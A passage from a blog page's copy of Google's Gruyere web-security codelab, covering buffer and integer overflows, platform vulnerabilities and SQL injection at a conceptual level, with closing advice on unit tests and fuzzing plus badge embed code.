to arbitrary code execution. Historically, buffer overflow
vulnerabilities have been responsible for some of the most widespread
internet attacks
including <a href="http://www.google.com/search?q=sql+slammer">SQL
Slammer</a><a href="https://www.blogger.com/null">, </a><a href="http://www.google.com/search?q=blaster+worm">Blaster</a>
and <a href="http://www.google.com/search?q=code+red+worm">Code
Red</a> computer worms. The PS2, Xbox and Wii have all been hacked
using buffer overflow exploits.
<br />

While not as well
known, <a href="http://www.google.com/search?q=integer+overflow+vulnerability" target="_top">integer overflow</a> vulnerabilities can be just as
dangerous.  Any time an integer computation silently returns an
incorrect result, the application will operate incorrectly. In the
best case, the application fails. In the worst case, there is a
security bug. For example, if an application checks
that <code>length + 1 < limit</code> then this
will succeed if <code>length</code> is the largest positive integer
value, which can then expose a buffer overflow vulnerability.
<br />

This codelab doesn't cover overflow vulnerabilities because
Gruyere is written in Python, and therefore not vulnerable to
typical buffer and integer overflow problems. Python won't allow you
to read or write outside the bounds of an array and integers can't
overflow. While C and C++ programs are most commonly known to expose
these vulnerabilities, other languages are not immune. For example,
while Java was designed to prevent buffer overflows, it silently
ignores integer overflow.
<br />

Like all applications, Gruyere is vulnerable to platform vulnerabilities. That
is, if there are security bugs in the platforms that Gruyere is built on top
of, then those bugs would also apply to Gruyere. Gruyere's platform
includes: the Python runtime system and libraries, AppEngine, the operating
system that Gruyere runs on and the client side software (including the web
browser) that users use to run Gruyere. While platform vulnerabilities are
important, they are outside the scope of this codelab as you generally can't fix
platform vulnerabilities by making changes to your application. Fixing platform
vulnerabilities yourself is also not practical for many people, but you can
mitigate your risks by making sure that you are diligent in applying security
updates as they are released by platform vendors.
<br />

</div>
<h3>
<a href="https://www.blogger.com/null" name="5__sql_injection"> </a> SQL Injection </h3>
<div>
Just as XSS vulnerabilities allow attackers to inject script into
web pages, <a href="http://www.google.com/search?q=sql+injection">SQL
injection</a> vulnerabilities allow attackers to inject arbitrary
scripts into SQL queries. When a SQL query is executed it can either
read or write data, so an attacker can use SQL injection to read your
entire database as well as overwrite it, as described in the classic
<a href="http://xkcd.com/327/">Bobby Tables</a> XKCD comic. If you use
SQL, the most important advice is to avoid building queries by string
concatenation: use API calls instead. This codelab doesn't cover SQL
injection because Gruyere doesn't use SQL.
<br />

</div>
<br /><br />
<h2>
<a href="https://www.blogger.com/null" name="5__after_the_codelab"> </a> After the Codelab </h2>
We hope that you found this codelab instructive. If you want more
practice, there are many more security bugs in Gruyere than the ones
described above.  You should attack your own application using what
you've learned and write unit tests to verify that these bugs are not
present and won't get introduced in the future. You should also
consider using <a href="http://www.google.com/search?q=fuzz+testing" target="_top">fuzz testing</a> tools. For more information about
security at Google, please visit
our <a href="http://googleonlinesecurity.blogspot.com/" target="_top">blog</a> or
our <a href="http://www.google.com/corporate/security.html" target="_top">corporate security page</a>.  And check
out <a href="http://code.google.com/edu">Google Code University</a>
for more educational resources on a variety of other topics.
<br />

If you'd like to share this codelab with others, please consider
tweeting or buzzing about it or posting one of these badges on your
blog or personal page:

<br />

</td><td style="border: solid 1 black; vertical-align: middle;">

<pre style="margin: 0;"><a href="http://google-gruyere.appspot.com/">
<img src="//google-gruyere.appspot.com/static/gruyere-badge.png"
style="padding:4pt" border="0" alt="Learn how to make web apps more
secure. Do the Gruyere codelab."></a>
</pre>
<div align="center" style="margin: 0;">
(Line breaks above should be copied verbatim.)</div>
</td></tr>
<tr><td style="border: solid 1 black; text-align: center; vertical-align: middle;">

</td><td style="border: solid 1 black; vertical-align: middle;">

<pre style="margin: 0;"><a href="http://google-gruyere.appspot.com/">
<img src="//google-gruyere.appspot.com/static/gruyere-40.png"
style="padding:4pt" border="0" title="Learn how to make web apps more
secure. Do the Gruyere codelab." alt="Learn how to make web apps more 
secure. Do the Gruyere codelab."></a>
</pre>
<div align="center" style="margin: 0;">
(Line breaks above should be copied verbatim.)</div>
</td></tr>
</tbody></table>
</div>
</div>
</div>
</div>

Web Application Exploits and Defenses

Client-State Manipulation When a user interacts with a web application, they do it indirectly through a browser. When the user clicks a b...